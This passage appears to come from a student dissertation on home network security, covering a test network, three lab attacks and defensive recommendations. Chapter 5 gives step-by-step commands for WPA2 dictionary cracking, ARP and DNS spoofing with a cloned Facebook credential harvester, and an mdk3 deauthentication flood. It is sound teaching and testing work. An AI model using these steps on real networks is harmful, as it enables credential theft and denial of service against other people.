patterns and malicious activity patterns. With the inclusions of these algorithms that are usually found in enterprise scale networks it is said that the home network user can gain enterprise level security. This literature is useful to this project as it is entirely based on home networks and looks at a solution to home network security. Although it is not the solution originally held in mind when looking at protecting a typical home network it does allow for a different perspective of home security.

[bookmark: _Toc480938151]2.5.8 A Review on Security in Smart Home Development
This literature [77] discusses smart homes, smart homes security and the tools used in smart home security. It says that as the need and want for smart home devices increases, attackers will continue to seek out ways of compromising these devices. In a traditional home network is an attacker gained access, they would be able to access your personal information and files. With smart homes this threat becomes a little more dangerous because if an attacker was to gain access, not only would they have access to personal information and files but also have the potential to control other aspects of the home such as thermostats or electrical sockets. With this in mind protocols are constantly being developed to ensure that these devices are as secure as possible. This literature looks at the security technologies behind smart homes and how they’re kept secure. It says that smart home devices are all usually connected together through a single hub that allows all the devices to communicate and exchange information between each other. If this hub becomes compromised then all the devices become compromised. This hub is connected to the home router to allow users to control devices through Wi-Fi enabled apps on a device. This means that it acts like any other devices connected to the router where it will have an IP address assigned to it and it can be compromised. This literature is beneficial to this project as it outlines the growing popularity of smart home devices and how they need to be protected. This project is not specifically looking at smart home devices, but research into the subject can be conducted and it can be a subject of thought for suture work.

2.6 [bookmark: _Toc480938152]Conclusion
This chapter includes all the research conducted prior to the experiment. It is split into 5 sections that all have separate purposes. The first section is the basic information about home networks and what they’re typically comprised of. The second section contains research into the basic security of home networks and what needs to be done as a bare minimum to keep a router semi-secure. The third section is research into the types of attacks you may find carried out on a home network. The fourth section details other common threats to a home networks other than actual network attacks. The final section lists the research into the related work and show what other authors have done in a similar field to this project.



[bookmark: _Toc480938153]Chapter 3– Research Methodology
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[bookmark: _Toc480938156]3.1 Introduction

This chapter covers the research methodologies used within this project. The first thing to be researched was the title of the project and whether it was a viable project that’s relevant to today’s networks. The title of this project is relevant as an extremely large number of home networks exist in this day and age and it’s not just network professionals that use them and configure them. This report isn’t just aimed at the professionals of the networking world but also the amateur users of home networks. 

To research into the chosen subject the research onion (figure 3.1) must be used. The research onion was developed in order to explain the stages a researcher must pass before developing and fully understanding the methodology. 
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[bookmark: _Toc480934959][bookmark: _Toc480738983]Figure 3.1 - The Research Onion [78]

[bookmark: _Toc480938157]3.2 Research Philosophy 

The first layer of the research onion is research philosophy. The research philosophy is the belief about how the researched information should be gathered, analysed and used. The main type of research philosophy used in this report is positivism. Positivism is where the researcher will only acknowledge factual information. A researcher will make an observation about a social behaviour, in this case the lack of security within a typical home network, and construct a hypothesis based on the information to address potential solutions and how to come about these solutions. 


3.3 [bookmark: _Toc480938158]Research Approaches

There are two main approaches to research, Inductive and Deductive. This report and project takes the deductive route as a hypothesis is drawn up based on a pre-existing theory and expands on how to test it. In this case the pre-existing theory is that home networks aren’t typically secure and can be broken and accessed. The project looks to directly address the issue that computer networks aren’t always secure, and the people who use them aren’t always ‘tech savvy’. It is often said that the deductive approach is best suited to the positivism research philosophy. A deductive research approach is characterised as going from general to particular, where the knowledge gained goes from general and broad to specific and is then tested against the research.

[bookmark: _Toc480938159]3.4 Research Strategies

The research strategies are the ways in which the researcher intends to carry out the work. It can include a number of different approaches when it comes to carrying out research. There are two main types of research strategies, qualitative and quantitative. Quantitative research is based on hard measures and is generally ‘objective’. Qualitative research is subjective, which means the research is based upon opinions and perspectives of those in the field who have conducted research in the past. This project uses quantitative research as the research conducted is only based on hard measures. At no point were opinions taken into consideration and the only research conducted is factual. To obtain the research for this project a wide range of sources were used. These include journal entries, books, case studies, white papers and reputable web pages. Using these sources an actual hypothesis could be drawn up and a solution to the problem could be put into perspective. 

3.4 [bookmark: _Toc480938160]Time Horizons

The two main types of time horizons are cross-sectional and longitudinal. Time horizon just means the amount of time that the project is meant to be completed in. This project uses the cross-sectional time horizon as it has a set time restraint. The time allocated for this project is only a few months. A longitudinal time horizon could span over many months or years and focuses on looking at the change within a certain project. This means that it’s not suitable for this type of project. 

3.5 [bookmark: _Toc480938161]Data Collection Methods

In order for a research paper to be successful it needs to have primary and secondary data. This project has very little primary data as the main bulk of research consists of journal entries, case studies, books, white papers and reputable web pages. These methods of research produce secondary data as the information has already been processed and recorded by another author. This type of project could have used a questionnaire to assess how many people actually owned and used a home network, but instead stats found at other sources were used. The amount of people this project could apply to is far too large and extending a questionnaire out to a very large amount of people would prove difficult. This project does use some primary data though as statistical research was conducted. 


3.6 [bookmark: _Toc480938162]Project Methodology


This project is an experiment based project. It could have used a simulation to replicate the practical element but an experiment is more practical. The network used within the project is a home network so it is relatively easy to replicate in real life. The attacks used in the project are based on real hardware making an experiment more suitable. As real hardware was used the attacks can be performed in real time to give a more practical example of how dangerous and effective these attacks can be. 


3.7 [bookmark: _Toc480938163]Conclusion

This chapter analyses the different layers of the research onion and how each layer affected the research of this project. Each layer was analysed and the different areas within each layer were identified. The areas chosen for this project were explained and justified.














[bookmark: _Toc480938164]Chapter 4 – Design and Implentation

[bookmark: _Toc480938165]4.1 Introduction

This section explains the design and implementation of this project. It explains the physical design of the network, why this specific design was chosen and why the devices that make the network were chosen. It also looks into the software aspects of the devices and why they were chosen to carry out the tasks that needed to be performed. A breakdown of each device and each piece of software/tool used will be carried out in order to analyse why they were chosen and what makes them more suitable for purpose as opposed to other devices. With each design and implementation decision there will be a section that analyses how the decision helped achieve the objectives of the project.

4.2 [bookmark: _Toc480938166]Initial Network Design

The network design had to replicate a typical home network. This meant there had to be a wireless router similar to a wireless router you may find in a home, PCs and other wireless devices. The first design included a Netgear wireless router, 3 wireless laptops and 3 wireless smartphone devices. The design topology also included a spate wireless desktop that isn’t connected to the network that has Kali Linux loaded onto it. This computer is the computer that attacks the network and replicates the attacks an attacker may use. The reason this design was chosen is because previous research into home networks and devices that are typically connected to these networks states shows that the average home networks uses more wireless devices. This is most likely due to the advantages of wireless networks that include the ability to roam with devices, easy set up and the lack of cables run all over the house required.  A diagram of the proposed network is on the next page (figure 4.1).

[image: ]
[bookmark: _Toc480934976]Figure 4.1 – Initial Network Design

This network proved problematic as Laptop3 had a faulty network interface card so it was unable to connect to any wireless networks and was also unable to connect to the network with an Ethernet cable. This meant the topology had to be modified slightly to make it work. 

4.3 [bookmark: _Toc480938167]Revised Network Design

The revised design removed the Laptop3 from the topology and added in a desktop computer that has a wired connection straight to the router. This final design has a Netgear home router, two wireless laptops, one wired connection desktop computer, 3 wireless smartphone devices and the standalone Kali Linux desktop. The Topology is on the next page (figure 4.2).
[image: ]
[bookmark: _Toc480934977]Figure 4.2 – Revised Network Design

4.4 [bookmark: _Toc480938168]Hardware Specifiactions

Kali Linux Machine:
Intel i5-4590 64bit
16GB DDR3 RAM
TP-Link N900 450Mbps NIC
NVIDIA GTX 970
Kali Linux 2016.2

Desktop PC:
Intel Q8400 Quad Core 64bit
4GB DDR3 RAM
TP-Link TG-3269 Gigabit LAN NIC
Windows 7 Service Pack 1

Laptop1:
Intel Pentium T4500 Dual Core 32bit
4GB DDR2 RAM
Atheros AR9285 WiFi Adapter
Windows 7 Home Premium

Laptop2:
Intel i3-4005U 64bit
8GB DDR3 RAM
Realtek RTL8188EE WiFi Adapter
Windows 10 Pro

Mobile Devices:
iPhone 5s 16GB
iPhone 5c 16GB
iPod Touch Gen5 8GB

Router:
Netgear Dual Band Wireless-N Modem Router DGND3300v2

4.5 [bookmark: _Toc480938169]Software and Tools Used

The project aims to take a typical home network and launch attacks that an attacker may use to gain access to the network and launch unsavoury attacks. The network is going to be secured with WPA2 wireless encryption so tools are going to need to be utilized in order to gain access. This section looks at all the software and tools that are required to crack WPA2 encryption, perform a man in the middle attack and install a keylogger onto a victim’s computer. 

[bookmark: _Toc480938170]4.5.1 Kali Linux (https://www.kali.org/)
Kali Linux is an open source Linux distribution that is maintained and funded by OffensiveSecurity [79]. Kali Linux is a Debian-based Linux distribution and its primary function is penetration testing and security auditing. Kali Linux has a number of features that make it the perfect choice for this project. It comes with over 600 tools included pre-installed. All the tools are tested and verified by the professionals at OffensiveSecurity to ensure they are all relevant and working. All the tools that are needed to make this project a success are included within the distribution. Kali Linux is completely free and claims it always will be. This makes it perfect for this project as no licences are needed to be bought. It is completely open source which means all the source code is available to download and tweak if a user feels the need to. For this project it’s ready ‘out of the box’ and no tweaking is needed. It is made to be compatible with a wide range of wireless devices, meaning it will work with a wide range of hardware also. This is important as it ensure Kali Linux will work with the hardware that comprises this project[80]. Kali Linux is designed with network professionals and penetration testers in mind, but the tools can also be utilized by ‘Black Hat Hackers’. This is another reason why Kali Linux was chosen, to show how an attack may use the software for malicious reasons. 

[bookmark: _Toc480938171]4.5.2 Fern WiFi Cracker
Fern WiFi Cracker (figure 4.3) is a tool included within Kali Linux that allows a user to attempt to crack and steal WEP and WPA passwords. It utilizes Fragmentation, Chop-Chop, Caffe-Latte, Hirte, ARP Request Replay or WPS attacks to steal and crack WEP encrypted passwords. To steal and crack WPA/WPA2 passwords it uses a dictionary brute force attack or WPS attack [81]. This tool is suitable for this project as it includes all the required components to attack the home router. The router is going to be secured with WPA2 encryption so Fern can a brute force dictionary attack to demonstrate the importance of password security. 

[image: ]
[bookmark: _Toc480934978]Figure 4.3 – Fern WiFi Cracker

[bookmark: _Toc480938172]4.5.3 NMAP (https://nmap.org/)
Network Mapper (NMAP) is a tool used for network discovery and security auditing. It can be used to scan a network and discover what hosts are available on a network. It can also use raw packets to determine factors such as what ports are in use and what services they are running, what operating systems are running, what types of packet filtering or firewalls are in place and dozens of other characteristics. NMAP was originally designed to be purely a command line interface programme but it now has a GUI counterpart known as Zenmap. NMAP comes already installed in the Kali Linux distribution so there is no need for installation. There are a number of features that makes NMAP suitable for this project such as – 
· Flexibility – It supports dozens of advanced techniques for mapping out networks including host identification, firewall discovery and operating system detection.
· Portability – It works with a wide range of operating system including both Windows and Linux. 
· Easy to Use – It goes from very basic input all the way up to support for advanced users.
· Cost – It’s free and is built with helping the internet stay a little more secure in mind. 
· Support Available – There are a large range of tutorials and forums readily available written by professionals and members of the community alike. This means that is any problems occur there is a way to solve them.

[bookmark: _Toc480938173]4.5.4 ARPSpoof
ARPSpoof is a tool included with Kali Linux that allows an attacker to poison ARP tables. It is used to make a legitimate computer think that the attacker’s computer is the router and make the router think that the attacker’s computer is the legitimate computer. Within Kali there needs to be commands issued that will set up packet forwarding on that machine. Once this is set up the attackers machine will forward all the data on as it intercepts it. This project is going to incorporate a man in the middle attack and use ARPSpoof to carry that attack out. 

4.5.5 [bookmark: _Toc480938174]Apache2 Web Server
Apache2 is open source software that allows the creation of web server within a network [82]. As part of the man in the middle attack this project is going to poison the ARP cache. To steal credentials there needs to be a cloned site, which is going to be hosted locally on the Apache2 Web Server created. This software comes pre-installed with Kali Linux so there’s no need for additional download.

4.5.6 [bookmark: _Toc480938175]Social-Engineer Toolkit (SET)
SET is an open source penetration testing framework designed for social engineering. It is designed to help attackers create a realist attack easily [83]. It comes pre-installed with Kali Linux. Within the toolkit there is a tool to clone websites and store them as local files. This is going to be used as part of the man in the middle attack.

4.5.7 [bookmark: _Toc480938176]DNSSpoof
DNSSpoof is a tool included with Kali Linux that allows a user to spoof the DNS services of the target device. Once ARP poising has been completed the DNSSpoof tool can be run on the attacking computers NIC. Any address that is set up by the attacker then will go through to the IP address of the attacker’s computer where the cloned site is sitting on the apache web server. When the victim enters the credentials to login it will be intercepted by the attacker in clear text. Within the literature review DNS spoofing was listed as a known attack to be carried out on home networks, and this is why DNSSpoof is used within this project.

4.5.8 [bookmark: _Toc480938177]mdk3
mdk3 is a ‘proof-of-concept’ tool to exploit common IEEE 802.11 protocol weaknesses. It can be used to conduct DoS attacks as it contains a deauthorisation/disassociation attack where all clients connected to the network will be continuously disconnected from the router. 

4.6 [bookmark: _Toc480938178]Router Configuation 

The router being used is a Netgear DGND3300v2. As it is plugged in for the first time it has no security features whatsoever, as pictured below (figure4.4).
[image: ]
[bookmark: _Toc480934979]Figure 4.4 - No Security Features
This means a novice user could plug this router into their home network and be completely open to the outside world without realising it. This project looks to demonstrate the different strengths of Pre-Shared Keys (PSKs). In order to do this the router will need to be configured several times with different passwords to demonstrate how difficult or easy they are to crack. This section looks over those configurations and how they are being set up at each stage of the testing. 

4.6.5 [bookmark: _Toc480938179]Logging onto the Router
The default IP address of the router is 192.168.0.1, which is the same for most home routers. The default logon credentials for the administration page of the router are admin and password, as shown below (figure4.5). 
[image: ]
[bookmark: _Toc480934980]Figure 4.5 - Router Login
This is extremely easy to guess and would take an attacker no time at all to figure out. It would be likely one of the first combinations an attacker would try. This needs to be changed. 

To change this, the IP address needs to be entered into the browser search bar and have the credentials entered (figure 4.6).

[image: ]
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[bookmark: _Toc480934981]Figure 4. 6 - Logging in

Once logged in the administration page appears. From here the ‘Set Password’ option is selected from the left hand column (figure4.7). 

[image: ]
[bookmark: _Toc480934982]Figure 4.7 - Set Password
On this page the new password can be set. For the sake of this project the password will be set to ‘uwtsdproject’ (figure 4.7). 
[image: ]
[bookmark: _Toc480934983]Figure 4. 8 - uwtsdproject
4.6.6 [bookmark: _Toc480938180]Setting up WPA2 Encryption
As stated previously the router comes out of the box unprotected. In order to ensure its secure it needs to be encrypted with WPA2-PSK. In order to configure this the Wireless Settings option is selected from the left hand side menu (figure 4.9).
[image: ]
[bookmark: _Toc480934984]Figure 4. 9 - Wireless Settings
This opens up the wireless settings menu where WPA2-PSK can be selected (figure 4.10). 
[image: ]
[bookmark: _Toc480934985]Figure 4. 10 - WPA2-PSK






From this menu the WPA2-PSK option is selected and the option to input the Pre-Shared Key is now given (figure 4.11).

[image: ]
[bookmark: _Toc480934986]Figure 4. 11 - Input the PSK
For this project there is going to be a number of different tests performed on different passwords. These passwords are going to range from extremely simple to extremely difficult. The first password is going to be a set of numbers such as ‘12345678’. The second password is going to a common password such as ‘password123’. The third password is going to be a random word from the dictionary such as ‘swordfish’. The fourth will be a random word with 2 numbers added to the end. The fifth is then going to be a mixture of letters and numbers randomly to demonstrate a secure password. An example may be ‘u1w2t3s4d5’. 

[bookmark: _Toc480938181]4.7 Conclusion

This chapter includes the network design, the hardware used, the software and tools used and the router configuration designs. It talks about the original network design and the revised network design after the changes were made. All the hardware choices were listed within this section. The tools used for this task were listed and explained and justified as to why they were chosen and suitable for this project.  The router configuration was displayed and explained why it was being changed from default. 


[bookmark: _Toc480938182]Chapter 5 – Testing and Evaluation

[bookmark: _Toc480938183]5.1 Introduction

This section looks at the testing of the attacks and how they were successful or not. It contains a walkthrough of each attack and how it was carried out. Included within the section are print screens of commands used and the results gained. Earlier within the literature review there is section that shows the recorded top 10 attacks on a home network on 2016. Within that report brute force attacks, man in the middle attacks (DNS spoofing) and DoS attacks were all listed. This is why these 3 attacks have been chosen and carried out. There is also a section on security recommendations suggested by the author to help prevent these attacks happening to a home network user.  

[bookmark: _Toc480938184]5.2 Attack 1 – Brute Force Dictionary Attack

This attack aims to brute force the WPA2-PSK that protects a typical home router. It takes an extremely long wordlist and tries many combinations against the router until it finds a match. People assume that changing a password on a router is good practise but this is only so if the password is secure. This attack takes 5 passwords and tests the strength of them. 

This attack uses a brute forcing programme known as Fern WiFi Cracker. Fern has a GUI that makes brute forcing WPA2 passwords extremely easy. The first step is to select the networking interface that is going to be used to attack the router. In this case its wlan0 (figure 5.1).

[image: E:\Print Screens\Part 1\seclect nic.png]
[bookmark: _Toc480934643][bookmark: _Toc480934987]Figure 5.1 - Select Interface
Once the interface is selected the ‘Scan for Access points’ button is selected and the programme will scan for whatever access points are within the wireless adapters range. In this case 11 access points have been detected within the scanning range of the wireless adapter (figure 5.2).

[image: E:\Print Screens\Part 1\found networks.png]
[bookmark: _Toc480934644][bookmark: _Toc480934988]Figure 5. 2 - 11 Detected

From these 11 the test home router will be selected. The next menu displays the found access points. Within this menu the test home router is selected (figure 5.3).

[image: E:\Print Screens\Part 1\select network.png] 
[bookmark: _Toc480934645][bookmark: _Toc480934989]Figure 5.3 - Select Network

The next step is to select the wordlist that the program will use to run against the home router. To do this we select the Browse button and select the wordlist from the computer. There is a great number of wordlists available for free and easy download from the web and which exist for different purposes. For this project the ‘rockyou.txt’ wordlist was selected as it’s extremely large and comes ready with Kali Linux (figure 5.4). 

[image: E:\Print Screens\Part 1\networks displayed.png]

[image: E:\Print Screens\Part 1\select wordlist.png]
[bookmark: _Toc480934646][bookmark: _Toc480934990]Figure 5.4 - Select Wordlist

Once the wordlist is selected the attacker would the hit the attack button. Sometimes the MAC address (BSSID) of the router cannot be instantly determined and neither can MAC addresses of the clients connected to the router. If this is the case Fern will probe the router to try and determine some of these addresses. In this case the MAC address of the router could be discovered instantly and the MAC addresses of the devices connected could also be discovered so there was no need for in depth network probing. The programme will then start to deauthenticate a client connected to the router. In this case the clients MAC address is B0:10:41:42:55:6D. This interrupts the 4-way handshake between the client and the router and looks to capture handshake packets in the process (figure5.5). 

[image: E:\Print Screens\Part 1\deauthenticating.png]
[bookmark: _Toc480934647][bookmark: _Toc480934991]Figure 5.5 – Deauthentication

Once it captures a packet that contains the WPA2 Pre-Shared Key it will start the cracking process (figure 5.6).

[image: E:\Print Screens\Part 1\bruteforcing.png]
[bookmark: _Toc480934648][bookmark: _Toc480934992]Figure 5.6 - Starting to Crack

Once the process is completed it will say whether the attack was successful or not. In this project 5 passwords are being tested. These passwords are made up of 3 that are easy to guess, 1 that is considered a little more secure and 1 that is considered secure. The first 3 insecure passwords are a string of consecutive numbers – 12345678, a commonly used password – password123 and a random word from the dictionary – swordfish. All three of these passwords were cracked in under 10 seconds (figure 5.7). 

[image: E:\Print Screens\Part 1\cracked 1234567.png]
[image: E:\Print Screens\Part 1\cracked password123.png]
[image: E:\Print Screens\Part 1\cracked swordfish.png]
[bookmark: _Toc480934649][bookmark: _Toc480934993]Figure 5.7 - Cracked Unsecure Passwords

The last 2 passwords are ones that are considered a little more secure. The 4th password, a random word with 3 numbers after it – ‘swordfish123’ and the 5th password, a random string of random numbers and letters – ‘u1w2t3s4d5’ were both unable to be cracked, they just run out of words to check in the wordlist (figure 5.8). 

[image: u1w2t3s4d5]

[image: u1w2t3s4d5]
[bookmark: _Toc480934650][bookmark: _Toc480934994]Figure 5.8 - Un-cracked Secure Passwords

[bookmark: _Toc480938185]5.3 Attack 2 – Man in the Middle Attack

This attack is a man in the middle attack that uses ARP poisoning and DNS spoofing. It can be used to steal login credentials to any website, but this example uses facebook.com as a target website. This attack comes after the WPA2-PSK brute force attack as it assumes the attacker has access to the network and is now connected.

The first thing an attacker would need to do is scan the network with NMAP to establish what devices are connected and active. Within Terminal the commands ‘nmap 192.168.0.*’ is issued. This will scan the entire 192.168.0.0 subnet and discover all the devices connected to it. Once the results show sometimes there will be an operating system, but if not you can make an educated guess at what device is which by the services running. In this case 192.198.0.2 is running the Microsoft-ds service so this is likely a windows computer. This is going to be the target computer (figure 5.9).

[image: E:\Print Screens\Part 2\nmap results.png]
[bookmark: _Toc480934651][bookmark: _Toc480934995]Figure 5.9 - Target Computer

The next step to this attack is enable IP packet forwarding on the wireless interface. To do this Terminal is opened and the command ‘echo 1 > /proc/sys/net/ipv4/ip_forward’ is issued (figure 5.10). This is important for the ARP poisoning step of the attack were the Kali attacking machine receives packets it must be able to forward them onto the destination so that it doesn’t stop the connection between the target computer and the router and create a denial of service attack.

[image: E:\Print Screens\Part 2\ip forwarding command.png]
[bookmark: _Toc480934652][bookmark: _Toc480934996]Figure 5.10 - IP Packet Forwarding

After the Kali machine has the ability to forward packets it will be configured to poison the ARP table and make the target computer (192.168.0.2) think that the Kali machine(192.168.04) is actually the router (192.168.0.1), and vice versa. To do this the commands ‘arpspoof –i wlan0 –t 192.168.0.2 192.168.0.1’ and ‘arpspoof –i wlan0 –t 192.168.0.1 192.168.0.2’. The option –i specifies the wireless interface that is going to be receiving and sending packets and the option –t is the targets. Once these commands are issued there should be packets appearing from both the target computer and the router (Figure 5.11).

[image: E:\Print Screens\Part 2\arp command.png]
[image: E:\Print Screens\Part 2\arp command 2.png]
[bookmark: _Toc480934653][bookmark: _Toc480934997]Figure 5.11 - ARP Spoofing

After this step is complete the Apache2 service has to be started on the Kali machine. This is the service that allows the webpage (in this case facebook.com) to be created and stored and hosted locally on the network. The command ‘service apache2 start’ will start the server (figure 5.12).
[image: E:\Print Screens\Part 2\apache command.png]
[bookmark: _Toc480934654][bookmark: _Toc480934998]Figure 5.12 - Starting Apache2

The next task is to create the cloned site to host on the Apache web server. A set of tools built into Kali Linux known as Social Engineering Toolkit (SET) is going to be utilized to do this. To access SET the command ‘setoolkit’ is entered into Terminal. The Logo and main menu will then show (figure 5.13).

[image: E:\Print Screens\Part 2\set command.png]
[bookmark: _Toc480934655][bookmark: _Toc480934999]Figure 5.13 - SET Tools







Option number 1, Social-Engineering Attacks, is selected - 
[image: E:\Print Screens\Part 2\set options.png]

Then the second option, Website Attack Vectors is selected.

[image: E:\Print Screens\Part 2\social engineering options.png]






Then the third option, Credential Harvester Attack Method, is selected.

[image: E:\Print Screens\Part 2\website attack vectors.png]

Then the second option, Site Cloner, is selected (figure 5.14). This will take a website and clone it identically to it. It asks for the IP address that is going to be harvesting credentials. In this case its 192.168.0.4. Then it asks for the site to clone, in our case the input was facebook.com. Once it finishes cloning it will start to either to listen for credentials being sent between the target computer and the router.
[image: E:\Print Screens\Part 2\site cloner inputs.png]
[bookmark: _Toc480934656][bookmark: _Toc480935000]Figure 5.14 - Site Cloner
Site Cloner creates the site in the var/www/html directory. The best practise is to view this directory to check if it is there. Index.html is the cloned website so it’s there (figure 5.15).

[image: E:\Print Screens\Part 2\checking log files.png]
[bookmark: _Toc480934657][bookmark: _Toc480935001]Figure 5.15 - Index.html

The next step is to spoof the DNS of the victim computer. This is vital because we need the attacker to see the cloned ‘facebook.com’ in their browser when they type in ’facebook.com’. To do this a hosts.txt file has to be created. To create and view this the command ‘pico hosts.txt’ is used. The hosts.txt file will contain the IP address of the Kali machine and the domain ‘facebook.com’ (figure 5.16).

[image: E:\Print Screens\Part 2\inside hosts file.png]
[bookmark: _Toc480934658][bookmark: _Toc480935002]Figure 5.16 - Entering facbook.com







Once this is complete save the file and the DNS needs to be spoofed. The command ‘dnsspoof –i wlan0 –f hosts.txt’ is used to do this (figure 5.17). This is basically saying that any DNS resolutions coming through the wlan0 interface will consult the hosts.txt file first to see if it can be resolved. This will then resolve ‘facebook.com’ into ‘192.168.0.4’ which is the Kali machine’s IP address where the cloned site is hosted and the credentials harvester is running.

[image: E:\Print Screens\Part 2\dnsspoof command.png]
[bookmark: _Toc480934659][bookmark: _Toc480935003]Figure 5.17 - DNS Spoof

This is the man in the middle attack set up ready to steal credentials. The target computer will now try to resolve ‘facebook.com’ and successfully retrieve the cloned site (figure 5.18).

[image: E:\Print Screens\Part 2\testing facebookcom.PNG]
[bookmark: _Toc480934660][bookmark: _Toc480935004]Figure 5.18 - A Cloned Site
It looks identical to the legitimate website but when the credentials are entered (figure 5.19) they will just disappear and the legitimate Facebook site will appear, making the victim think the login was unsuccessful. They will re-enter their credentials and be logged in successfully. Meanwhile the credentials harvester running on the Kali machine has stolen the victim’s credentials and stored them in the text file located at var/www/html. To access we simply navigate to the directory and cat the harvester file and there they are (figure 5.20).

[image: E:\Print Screens\Part 2\entering facebook details.PNG]
[bookmark: _Toc480934661][bookmark: _Toc480935005]Figure 5.19 - Entering Credentials

[image: E:\Print Screens\Part 2\the stolen credentials.png]
[bookmark: _Toc480934662][bookmark: _Toc480935006]Figure 5.20 - Stolen Credentials
[bookmark: _Toc480938186]5.4 Attack 3 – Denial of Service

The third attack is a denial of service attack from outside the network. This means that the attacker doesn’t need to be directly connected to the router and can conduct the attack easily. This attack is demonstrating how flooding a network with deauthorisation packets will make all the clients on the network constantly disconnect from one another and not be able to communicate or ping. The tool used to carry out this kind of attack is mdk3. The first thing to do is demonstrate how this network is fully functional and has full connectivity throughout. To do this, ping commands are issued on one of the laptops and it receives replies from all the devices connected (figure 5.21).
[image: E:\Print Screens\Part 3\pinging devices.PNG][image: E:\Print Screens\Part 3\pinging devices.PNG2.PNG]
[bookmark: _Toc480934663][bookmark: _Toc480935007]Figure 5.21 - Connected Devices
Once it is confirmed that all the devices are connected and working the mdk3 tool within Kali Linux needs to be used to flood the network with deauthorisation packets, mdk3 is a robust tools that offers many different attack vectors. The help command displays all of these attack options (figure 5.22).

[image: mdk3 help]
[bookmark: _Toc480934664][bookmark: _Toc480935008]Figure 5.22 - mdk3 Options

The attack that is being used here is the deauthentication/disassociation Amok attack. This attack has a tag of ‘d’. So the command needed to launch the DoS attack is ‘mdk3 wlan0 d –t 30:46:9A:34:86:84’ (figure 5.23).

[image: mdk3 command] 
[bookmark: _Toc480934665][bookmark: _Toc480935009]Figure 5.23 - mdk3 Command

When executed mdk3 will flood the network with deauthentication packets and the MAC addresses of the clients connected will show on screen as they’re being continuously disconnected from the network (figure 5.24).

[image: deauth dos]
[bookmark: _Toc480934666][bookmark: _Toc480935010]Figure 5.24 - Disconnecting Devices

As this is happening, the same test as before needs to be run to confirm lack of connectivity. The same ping commands will be issued and there will be lack of responses (figure 5.25). 









[image: ping router fail]
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[bookmark: _Toc480934667][bookmark: _Toc480935011]Figure 5. 25 - Loss of Connectivity

As show above the devices are having trouble pinging each other which means a successful denial of service attack is being conducted on the network.

[bookmark: _Toc480938187]5.5 Security Recommendations

· Always use a password that is secure. As shown in the experiment an easy to guess password or password straight out of the dictionary is extremely easy to crack. The password that had numbers on the end of it or the password that consisted of random numbers and letters proved much harder to crack and steal. Password length is also important, the longer the password the longer time to crack. It is estimated that it would take –
· 6 character password – 11 hours to crack [84]
· 7 character password – 6 weeks to crack [84]
· 8 character password – 5 months to crack [84]
· 9 character password – 10 years to crack [84]

· Change the WPA2 password every 60 – 90 days to ensure that it’s harder to guess. 
· Configure the routers SSID to be hidden so it has to be manually entered when connecting to it. It can still be found wirelessly but it makes it a lot harder for an attacker.
· Configure MAC address filtering on the home router to ensure only authorized devices can connect. There are many tutorials on how do this that can easily be found online.
· Ensure that all the unused ports are shut on the router.
· Changed the default router login credentials and change the default IP address of the router. Again this will slow an attacker down.
· Never allow anyone onto your home network who you don’t personally know or trust. It’s extremely easy to launch attacks from within a home network and this could easily happen if somebody malicious gained access to the network.
· Always update the router firmware to latest available as the vendor will nearly always try to make their product as secure as possible.
· Always look out for the ‘https’ before the website URL when browsing the web. The ‘s’ means secure and if a website doesn’t have this then it should be browsed with caution.
· If you suspect your router is being attacked with a DoS attack contact your Internet Service Provider immediately. They will be able to provide more support as to what to do.
[bookmark: _Toc480938188]
5.6 Conclusion

This section demonstrates how the attacks were carried out and how successful they were. Out of the 5 password tested 3 were able to be cracked. The 2 that were not unable to be cracked were not found in the dictionary attack wordlist so this was expected. All aspects of the man in the middle attack were successful and the test credentials were successfully stolen. The DoS attack was successfully launched and the network responded as it should have. All devices had difficulties pinging each other which means there was disruption within the network.



















[bookmark: _Toc480938189]Chapter 6 – Conclusion & Recommendations for Future Work
[bookmark: _Toc480938190]
6.1 Conclusion

To conclude, this project as a whole was a success. The original aim and objectives have been addressed fully and all have been completed and achieved. The first objective was to research into the common security flaws in home networks, the most common attacks to take place to a home network and other common threats to a home network. This was completed through the use of journal papers, books, trusted websites and white papers. An understanding of wireless encryption and broadcasting was developed. This contributed to the practical element as it allowed an insight into how a router should be correctly set up. Research into common attacks on home networks was conducted successfully. There were articles published by companies that identified the most common attacks that took place. This allowed the author to select the most common attacks to conduct on the test home router. It was learnt that brute force attacks, DNS spoofing attacks/man in the middle attacks and denial of service attacks were all common attacks to happen to a home router. Other common attacks were analysed and expanded on to gain an insight into some of the techniques an attacker may use. Other common threats were also researched to show how it’s not network attacks that can improvise a home network, but also things such as malware and key loggers.

The second objective was to analyse and compare previous literature and experiments that are similar in nature to this project. From there they can be used to influence this project and the results can be compared back to them. Eight pieces of related work were analysed and compared. Some were similar and some were slightly different. This gave variation to the project and allowed it to travel down some slightly alternative routes if it wanted to. The related work gave an insight into what people had done in the past and how it could be used to benefit the project. 

The third objective was to identify the research methods used for this project and analyse how and why they were chosen and used. This meant that analysing the research onion and figuring out what each of the layers meant. Then it had to be compared back to this project to see what types of research methods were used. There is a section called project methodologies that loos at why this is project is better as an experiment as opposed to a simulation and how it could be carried out in the real world rather than as a simulation. As it is based on a home network the hardware aspect of the network isn’t that hard to replicate and is easily accessible. 

The fourth objective was to utilize software to simulate some of the typical hacks that happen on home networks and show how they are carried out. This a success as all the chosen attacks were successfully completed. With the dictionary brute force password attacks two of the passwords were not cracked but this was because they are deemed ‘safe and secure’ so it was expected. All aspects of the man in the middle attack including ARP poisoning, DNS spoofing, credential harvesting and site cloning all were successful and test Facebook login credentials were stolen from the target computer. The denial of service attack was successfully carried out too as all devices were put to halt and were unable to communicate on the network. This meant that the all attacks were successful, and by providing a step by step breakdown of the attacks and how they were performed explains how effective they can be to the reader. There are print screens showing the attacks fully working and a full video run through of the attacks will be presented at the final viva.
	
The last objective was to use all the data collected and give ways to protect a home network efficiently in a security recommendations report. This section can be found in the testing and evaluation chapter. From the attacks performed and succeeded the author has suggested a list of ways to prevent these attacks from happening or what to do if someone suspects these attacks. They have been formulated from a first-hand point of view performing the attacks on a test home network. They are presented in bullet points to ensure that they are easy to follow and read. 

[bookmark: _Toc480938191]6.2 Recommendations for Future Work

There are many areas of future that can be conducted in this field of research. Network security is such a vast and varied field of work and there are many different areas to explore within it. The field of research is constantly being expanded and attackers and people who defend networks are constantly working to pioneer new techniques and methods within their field. If this paper was to be redone a way to expand it would be to look at remote attacks on the network. This project analyses attacks based from a semi close location to the physical network. Future work could be conducted into Secure Sockets Layer (SSL) attacks and Secure Shell (SSH) based attacks. Remote Trojans could be deployed on the network to give an attacker backdoor remote access and the demonstrations could take place to show the effect of these attacks.

